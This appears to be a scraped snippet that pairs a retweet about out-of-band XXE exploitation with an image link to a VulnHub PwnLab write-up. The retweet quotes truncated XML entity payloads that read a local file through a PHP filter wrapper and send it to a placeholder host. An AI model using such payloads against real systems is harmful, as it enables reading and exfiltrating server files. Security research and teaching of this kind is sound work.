Secure D Global - RT @wugeej: Exploiting Out Of Band XXE using internal network and php wrappers <!ENTITY % data SYSTEM "php://filter/convert.base64 -encode/resource=file:///D:/path/index.php"> ... exfil SYSTEM "http://target/endp.php?sid=[session_id ...
![VulnHub —PWNLAB: INIT (OSCP-Prep)Writeup — by dollarboysushil | by dollarboysushil | Dec, 2023 | InfoSec Write-ups VulnHub —PWNLAB: INIT (OSCP-Prep)Writeup — by dollarboysushil | by dollarboysushil | Dec, 2023 | InfoSec Write-ups](https://miro.medium.com/v2/resize:fit:1400/1*Fl_wZSza1Ogb2xJPcDB1EA.png)